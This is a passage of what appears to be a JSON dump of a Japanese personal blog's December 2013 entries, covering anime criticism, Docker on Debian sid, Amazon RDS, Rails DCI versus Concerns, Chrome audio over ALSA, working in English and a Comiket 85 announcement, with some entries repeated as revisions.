話はそれで作れると思います。あのアニメにおいてはそういった技術が「無料」であるかのように描かれていて、当時それが非常に納得出来ませんでした。こんな脚本を「アリ」と見做す監督が指揮する現場は絶対に地獄であろうと思いました。そしたら実際制作遅延したのでざまあみやがれと思った。\r\n\r\nなんで今さらこんな話を書こうかと思ったかというと、アルペジオがあるからです。あれも本当に糞だと思っています。「メカにこだわった」ということを制作サイドは散々言っていますが、 1 話冒頭からして全く駄目です。「艦対地ミサイルがヘルファイアミサイルのような形をしている」「ミサイルが低空侵入している描写がない」「それにも関わらず人類側が迎撃に苦労する(霧の艦隊の ECM が強力という設定でも地上のレーダーサイトはいくらなんでも使えるはず)」「巡航ミサイルに対する迎撃の対空システムがミサイル防衛システムという名前になっている」「敵艦が艦砲射撃主体の近接攻撃をしてくることが分かっているのに装甲されていない艦艇」というのが開始 3 分以内に発生します。\r\n\r\n結局のところ「メカが好き」と言っている人達、これまで人類が積み重ねてきた技術体系には興味がなくて、ゴテゴテしてる見た目が好きなだけなんだろうなと思ったわけです。\r\n\r\n同じようなことを[星を創る者たち](http://www.amazon.co.jp/dp/4309622224/)を読んだ時にも思って、この小説は非常に技術への敬意がある小説なのですが、前半部はさすがに古さがあります。第一章は月にトンネルを掘る話なのですが、掘削機械を使って作ったトンネルに「支保工」を立てるとあります。セグメントを使ってどんどんトンネルを作っていくとか、コンクリーートを吹き付けロックボルトを打ち込み地山の保持力を活用する(ちゃんと地質調査しないとなんともいえないけど月ではこっちのほうがいいかも)とかの現代的な工法であればその過程は必要無い訳で、トンネル内面に巻き立てを行なって構造をつくる在来工法が想定されていることが伺えます。\r\n\r\nこうした描写の古さは執筆時期と青函トンネルの工事がモデルになっていることなどからしょうがないのですが、「ハード SF ファン」を自称してる人達がここに突っ込んでないのどうなってんだ糞が。\r\n\r\nなんか話があんままとまってませんがこういうことです。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e技術の取得がノーコストという時点であきらかに破綻していると思うし、それを「話の都合上そんなもんでしょ」とスルーできるなら技術に対してそれくらいの考えしか持ってない人なんだなと思うということです。\u003c/p\u003e\u0026mdash; つつみともよ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/408104475493031936\"\u003eDecember 4, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e","created_at":"2013-12-04T05:26:21.000Z","updated_at":"2013-12-04T05:26:21.000Z"},{"id":2558,"name":"kure.ssig33.com","body":"title 誕生日プレゼントくれ\r\n# ssig33 は 12/15 が誕生日です!!!!\r\n## [Amazon ウィッシュリスト経由でなんかくれ](http://www.amazon.co.jp/registry/wishlist/12YQ45WYG0NQK)\r\n\r\n##金くれ\r\n三菱東京UFJ銀行 新宿新都心支店 0090551 コイケリク\r\n\r\n## その他なんでもくれ\r\nその他ウィッシュリストにないものでもなんでもほしいので手渡しするか DM やメールやその他で発送先を手に入れてなにかください\r\n\r\n\u003cbutton id='youpy'\u003eCSSを適用する\u003c/button\u003e\r\n\u003cscript src='http://ssig33.com/js/youpy.js'\u003e\u003c/script\u003e\r\n\r\nsubdomain only","created_at":"2013-12-04T15:37:37.000Z","updated_at":"2013-12-04T15:37:37.000Z"},{"id":2559,"name":"text/金と技術","body":"%blog%\r\n\r\n## ビジネスにおける真理\r\n- 技術とかまあ動いてりゃそれでいいから対面営業で金儲けの種を拾いまくる方が重要\r\n\r\n## 我々技術者がどうすべきか\r\n- 人間そっくり営業マンロボットを作って対面営業の価値をぶっ壊す","created_at":"2013-12-05T05:16:36.000Z","updated_at":"2013-12-05T05:16:36.000Z"},{"id":2560,"name":"text/Docker を Debian sid で動かす","body":"%blog%\r\n\r\n- [Debian(wheezy)でdockerを動かす。 - .h2oのお気楽日記](http://d.hatena.ne.jp/dot_h2o2/20131202/p1)\r\n\r\n基本上記の通りで動くんですがコミット出来ません。繰り返しますがコミットが出来ません。\r\n\r\nそこで Docker の issue を掘ってるとこんなのがありました\r\n\r\n- https://github.com/dotcloud/docker/issues/2643#issuecomment-28263113\r\n\r\noh crazy motherfucker!!!!!!\r\n\r\ntar 1.27 がぶっ壊れているとのことです。そこで [GNU tar のサイト](http://www.gnu.org/software/tar/)を見てみると、 1.27.1 がリリースされてあり、リリースノートは以下のようにあります。\r\n\r\n- Fix unquoting of file names obtained via the -T option\r\n- Fix GNU long link header timestamp (backward compatibility)\r\n- Fix extracting sparse members from star archives\r\n\r\n追ってませんがどうせ一番上のやつが問題なのでしょう。\r\n\r\n今日現在 Debian sid の tar は 1.27 です。 1.27.1 を入れるなり待つなり stable から tar 1.26 を取ってくるなりして解決すればよいと思います。\r\n\r\nこの手のツール、ホスト側では安定版ディストリビューションつかって仮想マシン側で sid を使うみたいのが正しいあり方なのでしょうが、さすがにデスクトップ機で stable は無い話なので。。。","created_at":"2013-12-05T09:33:06.000Z","updated_at":"2013-12-05T09:33:06.000Z"},{"id":2561,"name":"text/インターネット","body":"%blog%\r\n\r\n新聞社および通信社から配信される情報をゴテゴテ加工したり再配信し、そのシステムを動かすサーバー代や開発費はソーシャルゲームの広告によって賄っているという現実があると思います。\r\n\r\n新聞社が押紙問題訴訟によって崩壊がさらに加速していくであろうこと、ソーシャルゲームにみんな飽きつつあることを考えますと上記の素晴しいエコシステムはもう何年も持たないのでしょう。\r\n\r\n一介のユーザー視点からすれば崩れたら崩れたでなんらかの新しい仕組みが出来るのでしょうが、その仕組みを見付けて大儲けしてレコーダーのストレージを現状の 32TB から 30000TB ぐらいまで増やしたいという気持ちがあります。\r\n\r\n上記のような糞みたいなシステムに巻き込まれたくない人達がこぞって EC に手を出したり、既に手を出していたら手数を増やしたりしているのが現状だなあと思っているところです。 Amazon と叩きあって消費者が幸せになれればいいと思います。\r\n\r\n何が言いたいかというといまのところ糞みたいなゲームの広告で儲けてる我々が偉そうなことを言っちゃいかんという話です。","created_at":"2013-12-06T03:26:30.000Z","updated_at":"2013-12-06T03:26:30.000Z"},{"id":2562,"name":"text/2013年買ってよかったもの","body":"%blog%\r\n\r\nみたいの 2013 年終わらないうちに書くみなさん頭大丈夫ですか。というわけで流行りに便乗しておきます。\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00BT5G4QY\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00BE9LP4Q\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00BDBQRM0\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B004OPEH8I\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00526QL8M\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n","created_at":"2013-12-10T03:39:43.000Z","updated_at":"2013-12-10T03:39:43.000Z"},{"id":2563,"name":"text/2013年買ってよかったもの","body":"%blog%\r\n\r\nみたいの 2013 年終わらないうちに書くみなさん頭大丈夫ですか。というわけで流行りに便乗しておきます。\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00BT5G4QY\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u003c1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00BE9LP4Q\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u003c1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00BDBQRM0\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u003c1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B004OPEH8I\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u003c1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00526QL8M\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u003c1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e","created_at":"2013-12-10T03:40:39.000Z","updated_at":"2013-12-10T03:40:39.000Z"},{"id":2564,"name":"text/2013年買ってよかったもの","body":"%blog%\r\n\r\nみたいの 2013 年終わらないうちに書くみなさん頭大丈夫ですか。というわけで流行りに便乗しておきます。\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00BT5G4QY\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u003c1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00BE9LP4Q\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u003c1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00BDBQRM0\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u003c1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B004OPEH8I\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u003c1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00526QL8M\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u003c1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B002NIJCAG\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n","created_at":"2013-12-10T03:45:12.000Z","updated_at":"2013-12-10T03:45:12.000Z"},{"id":2565,"name":"text/Amazon RDS 使いはじめた","body":"%blog%\r\n\r\nこのサイトとか [Rolling Icon](http://icon.ssig33.com) とか。 t1.micro 。\r\n\r\n最初の 1 年無料であとは年間 3 万円ちょいとかになると思われるのでそれで RDBMS の管理の手間が無くなるなら、、、というようなアレ。\r\n\r\nそう思ってやってみたんだけど案外 RDBMS 外で管理されている情報が多くて、管理コストのうち減った部分はかなり少なく、思ったようには行きませんねえみたいな気持ちになっているところです。\r\n\r\n膨大な量の自宅サーバーで稼動するアプリケーションのうち「状態」の部分をなるべく人任せにするとか環境から切り出して分かりやすく整理するとかしていい感じにしていきたいと思っています。そうしないと自宅内インフラの再編にも手を付けられない。\r\n\r\n僕はアプリケーションエンジニアとしての仕事が主体なわけですが、本格的にインフラ整備しはじめて、インフラエンジニアと言う人達は規模がだいたいこれの数百倍とかのものを扱うわけですからそりゃわりとささくれだった人が多いわけだと納得し敬意を抱く次第です。","created_at":"2013-12-11T14:19:12.000Z","updated_at":"2013-12-11T14:19:12.000Z"},{"id":2566,"name":"text/稲垣隆行という人のこと","body":"%blog%\r\n\r\nみなさんこんばんは、のうコメ異常に面白かったですね。今日はショコラ役の佐土原かおりさんが実際双極性障害なのか私が聞き取り調査をして調べた話ではなく稲垣隆行という人の話を書いておこうと思います。\r\n\r\nはじめに: 僕は稲垣さんの大ファンなので以下の文章は全く中立ではありません\r\n\r\nジュエルペット サンシャイン、ロザリオとヴァンパイア、のうコメなどといった稲垣さんの作品が個性的かつ(特に演出面において)秀逸なアニメであると考える人はそれなりに多くいると思います。\r\n\r\nここでこの稲垣隆行という人が自分で絵コンテをやった回について考えてみます。\r\n\r\n例えばのうコメの 1 話に美少女が空から落ちてくるというシーンがあるのですが\r\n\r\n落ちてくる時\r\n\r\n![落ち](http://ssig33.com/gyazo/2d5c66658a1073c5b009c25765b656e9.png)\r\n\r\n着地後\r\n\r\n![後](http://ssig33.com/gyazo/a13b3d125f5154f19c782db31572a2c6.png)\r\n\r\n向きが違います。このあたりこの人の特徴を端的に表していると思うのですが、詰めが甘いというかいい加減なところがあります。一枚絵として捉えれば個性的だったりするのですが、動くと破綻していたり大して面白くなかったり、ようするに、そこまで出来る人というわけではないです。\r\n\r\n直近ののうコメでも稲垣さんが自分でやった回より森脇真琴がやった 3 話と 8 話、撮影出の所俊克の 5 話、福田道生の 9 話などが評判がよく、福田道生の直後に来てしまった稲垣さんの最終話などは相対的に評判が低かった気がします。\r\n\r\nここで終わらせてしまうとつまらないってわけでもないけどそこまででもない微妙な演出家がいましたねで終わってしまうんですが。この人の真の実力はそういうところにあるわけではないという話をファンとして書いておきたいわけです。\r\n\r\nのうコメなのですが、美術監督は阿部行夫という人でここ最近では杉井ギサブローと組んで「あらしのよるに」「グスコーブドリの伝記」などを担当してきたという人物です。あらしのよるにやグスコーブドリの伝記を見たことがある人であれば美術の傾向など全くのうコメとは違うということが分かるかと思います。\r\n\r\nつまり稲垣隆行は少なくとものうコメにおいて美術に対して猛烈に干渉していることが伺えます。しかしその美術が結果としてあらしのよるにに勝っているかというとべつにまたこれもそうではないわけです。\r\n\r\nまたジュエルペット サンシャインでも見られましたが BGM のセレクトも極めて個性的で、「こんな曲わざわざ作るのか」というようなところまで緻密に作るというような傾向があります。かといって BGM にしたところで(名曲をギャグとして引用していたシーンはともかくとして)、さほど品質が高いというわけではないと思います。\r\n\r\n個別の要素要素に置いて水準以上の腕を持ちながら、しかし何一つとして一流ではなく、その上で自らの作家性を注ぎこもうとする、それが稲垣隆行という人なわけです。\r\n\r\n結果として、強烈な世界観が生まれます。その強烈な世界観の中では多少脚本家が下手だろうが、頭がとてもおかしかろうが自然と視聴者に受け入れられるシナリオが完成します。森脇真琴、福田道生などといった監督クラスの演出家であっても、自分で監督した作品の時よりも数段高い実力が引き出されます。\r\n\r\n強烈な作家性というのはこういうものこそを指すのだと僕は思います。\r\n\r\nまとめ\r\n\r\n- のうコメ面白かったですね\r\n- 艦これはディオメディアだし稲垣隆行だといいと祈っております\r\n- 佐土原かおりさんのことがとても心配です\r\n\r\n\r\n\r\n","created_at":"2013-12-12T16:42:21.000Z","updated_at":"2013-12-12T16:42:21.000Z"},{"id":2567,"name":"text/闇 Advent Calendar 乱入","body":"%blog%\r\n\r\n乱入します。\r\n\r\n![usagee](http://ssig33.com/gyazo/40a7918e3816676ab2bd5600cbc32f5c.png)\r\n\r\n明日は @joker1007 。","created_at":"2013-12-17T05:25:14.000Z","updated_at":"2013-12-17T05:25:14.000Z"},{"id":2568,"name":"text/Ruby On Rails Advent Calendar 乱入","body":"%blog% DCI の話 - Ruby On Rails Advent Calendar 乱入\r\n\r\n乱入します。そういうのあるのか調べてないけどどうせあるでしょ。あんまりまとりないです。 DCI か Concern かみたいな話です。\r\n\r\n- [Rails のファットモデル対策] (http://ssig33.com/text/Rails%20%E3%81%AE%E3%83%95%E3%82%A1%E3%83%83%E3%83%88%E3%83%A2%E3%83%87%E3%83%AB%E5%AF%BE%E7%AD%96)\r\n\r\nこれの続き。\r\n\r\n\u003e module に切り出す粒度はどうするかとかこれはこれで難しいとろはあるのですが\r\n\r\nという部分について適当に書いておく。\r\n\r\nまず DCI というアプローチではモデルが肥大化するという問題は本質的に一切解決していない。結局のところさまざまなコンテキストで責務が呼ばれた結果最終的に生成されるドメインモデルは極めて巨大なものであることに変わりはない。\r\n\r\n結局のところ、改善されるのは「コードの見た目」に過ぎない。しかしながら我々プログラマーは「コードの見た目」が如何に重要であるか知っている。コードの見た目はプロダクトの品質のかなりの部分を占める。\r\n\r\nDCI というアプローチは単純に Concern するという戦略と何が違うかというと\r\n\r\n- DHH が挙げている Taggable みたいなやつがやりづらい\r\n\r\nということがあると思います。コンテキストごとに各モデルの責務を分離するのですから、各モデルで共通の処理を module に書き出すみたいなことがしづらくなります。\r\n\r\nそう、 Concern よりやれること減ってるんです。これはある場合において極めて有効に働きます。チームメンバーのスキルセットが限定されている場合です。\r\n\r\n先に書いた通り「module(DCI なら 責務)に切り出す粒度」は難しい問題なので「コンテキストごとの各モデルの責務」という単純な単位でしか切り出せないというルールは教育コストを低下させます。\r\n\r\nなので「DCI とか無駄、 Concern でいいでしょ」みたいなのは性善説的な感じで現実的でない場合もあるということです。 DHH のような優秀な人間の言うことを参考にできない事例もあるということです。\r\n\r\nこれも闇っぽい。","created_at":"2013-12-17T05:52:08.000Z","updated_at":"2013-12-17T05:52:08.000Z"},{"id":2569,"name":"text/Google Chrome で ALSA で音を出す","body":"%blog%\r\n\r\nGoogle Chrome は Debian GNU/Linux で普通にインストールすると pulseaudio 経由でしか音が出ません。\r\n\r\nなのでまあ普通であれば apt-get pulseaudio すれば音が出ます。 pavucontrol というミキサーアプリが便利なのでこれも入れておけみたいな解説が多いです。\r\n\r\nしかしながら pulseaudio もあれはあれで糞で、例えば常時結構 CPU 負荷を発生させていてバッテリーの持ちに影響がありますし、バグや相性問題など ALSA だけ使っているときより頻繁に起きます。\r\n\r\n- [How can I make Chromium use a different ALSA device?](http://superuser.com/questions/273561/how-can-i-make-chromium-use-a-different-alsa-device)\r\n\r\nこちらの方法で ALSA 経由で Chrome で音を鳴らすことができます。このあたり Linux を使いたくなくなる理由ナンバーワンみたいな感じですがいくらなんでも 1kg もある上に画面画素数もとても低い MacBook Air で今更何かする気にもなれないので難しいところです。\r\n\r\nMacBook Pro Retina 13 インチが他社製品同様に 900g ぐらいになってくれればいいなと思う次第です。","created_at":"2013-12-17T07:31:40.000Z","updated_at":"2013-12-17T07:31:40.000Z"},{"id":2570,"name":"text/英語圏の人たちとちょっと作業をしまして","body":"%blog%\r\n\r\nさてはてな民のみなさんが大好きな英語の話題です 300 ブクマぐらいしていいんですよ。\r\n\r\nここ数年ぐらい英語圏の人達と作業をする機会が散発的にあり、英語力というものについて考えさせられることになりました。\r\n\r\n英語が下手とか周囲の人に言われる人の特徴というのがなんとなく見えてきました\r\n\r\n- 協調性が低い\r\n- 専門分野における知識が糞\r\n\r\nだいたいそんなところじゃないかと。専門分野における知識がある人が多少英語が下手だったとしても(あるいは多少以上に下手だったとしても)周囲が気を遣ってくれますし、あるいは通訳を雇ってもコスト的に問題ないみたいな話になる。\r\n\r\n機械翻訳の精度が向上すれば英語力なんてどうでもいいものになるというのもありますし、英語覚える暇あったら別のことやったほうがいいんじゃないかと思う次第です。まあ英語分かると遊べるゲーム増えるので分かったほうがいいと思うけど。\r\n\r\nちなみに僕の英語は\r\n\r\n- 南部人みたいで気持ちが悪い\r\n- 単語の選択が汚なすぎる\r\n- ディスカバリーチャンネルやアメリカン・チョッパーで英語を覚えてはだめだ\r\n\r\nと散々に Dis られています。日本人であれば正しくきんいろモザイクで英語を覚える必要があると言えるでしょう。","created_at":"2013-12-19T04:25:49.000Z","updated_at":"2013-12-19T04:25:49.000Z"},{"id":2571,"name":"text/英語圏の人たちとちょっと作業をしまして","body":"%blog%\r\n\r\nさてはてな民のみなさんが大好きな英語の話題です 300 ブクマぐらいしていいんですよ。\r\n\r\nここ数年ぐらい英語圏の人達と作業をする機会が散発的にあり、英語力というものについて考えさせられることになりました。\r\n\r\n英語が下手とか周囲の人に言われる人の特徴というのがなんとなく見えてきました\r\n\r\n- 協調性が低い\r\n- 専門分野における知識が糞\r\n\r\nだいたいそんなところじゃないかと。専門分野における知識がある人が多少英語が下手だったとしても(あるいは多少以上に下手だったとしても)周囲が気を遣ってくれますし、あるいは通訳を雇ってもコスト的に問題ないみたいな話になる。\r\n\r\nまあ逆の事例もありまして、専門知識が無い英語ネイティブが、専門知識の無さ故に会話についていけなくなった結果、専門家にたいして「英語が下手で何いってるか分からない」とか言うことでプライドを保とうとする事案についても見かける機会が結構ありました。まあこれは対処のしようがないしそういうアホは無視するのがいいのだと思います。\r\n\r\n機械翻訳の精度が向上すれば英語力なんてどうでもいいものになるというのもありますし、英語覚える暇あったら別のことやったほうがいいんじゃないかと思う次第です。まあ英語分かると遊べるゲーム増えるので分かったほうがいいと思うけど。\r\n\r\nちなみに僕の英語は\r\n\r\n- 南部人みたいで気持ちが悪い\r\n- 単語の選択が汚なすぎる\r\n- ディスカバリーチャンネルやアメリカン・チョッパーで英語を覚えてはだめだ\r\n\r\nと散々に Dis られています。日本人であれば正しくきんいろモザイクで英語を覚える必要があると言えるでしょう。","created_at":"2013-12-19T12:27:19.000Z","updated_at":"2013-12-19T12:27:19.000Z"},{"id":2572,"name":"text/コミックマーケット 85 に出ます","body":"%blog%\r\n\r\n前回と同様[ポニメ出版](https://webcatalog.circle.ms/Circle/11029567)で出ます。\r\n\r\n大量録画されたテレビ番組を効率よく管理視聴する [pig-media-server](https://github.com/ssig33/pig-media-server) および、自炊された書籍を Web 経由で検索しきわめて快適に閲覧する [Mark It Now](https://github.com/ssig33/Mark-It-now) についてその思想や実装、使い方を解説するものを頒布する予定です。\r\n\r\n頒布方法としては PDF だか HTML だかとすぐに pig と Mark It Now を使える Vagrant box を入れた CD-ROM を頒布する形を考えています。\r\n\r\nしかしながら!!!!!!今現在私多忙を極めておりまして、このままでは確実に本は**完成しません**。\r\n\r\nそこでたぶん使い方の部分など未完成のものを配ることになります。それはいくらなんでもひどいので、以下のサービスをセットで頒布致します。\r\n\r\n- 同人誌データを管理する git リポジトリへのアクセス権\r\n - 当然ですが未完成部分の完成は保証します\r\n - 1/9 までには全面的に完成状態にします\r\n- pig-media-server などのインストールサポート\r\n- 大量エンコード環境の構築サポート\r\n - 上記二件は IRC かなんかで提供します\r\n- pig-media-server および Mark It Now への新機能の優先リクエスト権限\r\n - github に issue で登録して頂ければ 36 時間以内に対応することとします\r\n\r\nCD-ROM など 50 部ぐらいしか提供できないと思いますので、もしまかり間違って完売した場合は、上記のサービスのみを希望される方には提供したいと思います。\r\n\r\nもろもろ管理めんどくさいのでサービスも含め通販はしません。会場に来て頂きたく。\r\n\r\nスペースは**[火曜日 西す18b](https://webcatalog.circle.ms/Circle/11029567)**です。よろしくお願いいたします!!!!!!!!!\r\n\r\nあとポルノアニメさんの[ジュエルポッド改造する本](http://ushiroad.com/C84/)も極少量頒布されると思います。本当に極少量だろうけど。","created_at":"2013-12-23T16:14:25.000Z","updated_at":"2013-12-23T16:14:25.000Z"},{"id":2573,"name":"text/コミックマーケット 85 に出ます","body":"%blog%\r\n\r\n前回と同様[ポニメ出版](https://webcatalog.circle.ms/Circle/11029567)で出ます。\r\n\r\n大量録画されたテレビ番組を効率よく管理視聴する [pig-media-server](https://github.com/ssig33/pig-media-server) および、自炊された書籍を Web 経由で検索しきわめて快適に閲覧する [Mark It Now](https://github.com/ssig33/Mark-It-now) についてその思想や実装、使い方を解説するものを頒布する予定です。\r\n\r\n頒布方法としては PDF だか HTML だかとすぐに pig と Mark It Now を使える Vagrant box を入れた CD-ROM を頒布する形を考えています。\r\n\r\nしかしながら!!!!!!今現在私多忙を極めておりまして、このままでは確実に本は**完成しません**。\r\n\r\nそこでたぶん使い方の部分など未完成のものを配ることになります。それはいくらなんでもひどいので、以下のサービスをセットで頒布致します。\r\n\r\n- 同人誌データを管理する git リポジトリへのアクセス権\r\n - 当然ですが未完成部分の完成は保証します\r\n - 2014/01/9 までには全面的に完成状態にします\r\n- pig-media-server などのインストールサポート\r\n- 大量エンコード環境の構築サポート\r\n - 上記二件は IRC かなんかで提供します\r\n- pig-media-server および Mark It Now への新機能の優先リクエスト権限\r\n - github に issue で登録して頂ければ 36 時間以内に対応することとします\r\n\r\nCD-ROM など 50 部ぐらいしか提供できないと思いますので、もしまかり間違って完売した場合は、上記のサービスのみを希望される方には提供したいと思います。\r\n\r\nもろもろ管理めんどくさいのでサービスも含め通販はしません。会場に来て頂きたく。\r\n\r\nスペースは**[火曜日 西す18b](https://webcatalog.circle.ms/Circle/11029567)**です。よろしくお願いいたします!!!!!!!!!\r\n\r\nあとポルノアニメさんの[ジュエルポッド改造する本](http://ushiroad.com/C84/)も極少量頒布されると思います。本当に極少量だろうけど。","created_at":"2013-12-23T16:17:05.000Z","updated_at":"2013-12-23T16:17:05.000Z"},{"id":2574,"name":"text/コミックマーケット 85 に出ます","body":"%blog%\r\n\r\n前回と同様[ポニメ出版](https://webcatalog.circle.ms/Circle/11029567)で出ます。\r\n\r\n大量録画されたテレビ番組を効率よく管理視聴する [pig-media-server](https://github.com/ssig33/pig-media-server) および、自炊された書籍を Web 経由で検索しきわめて快適に閲覧する [Mark It 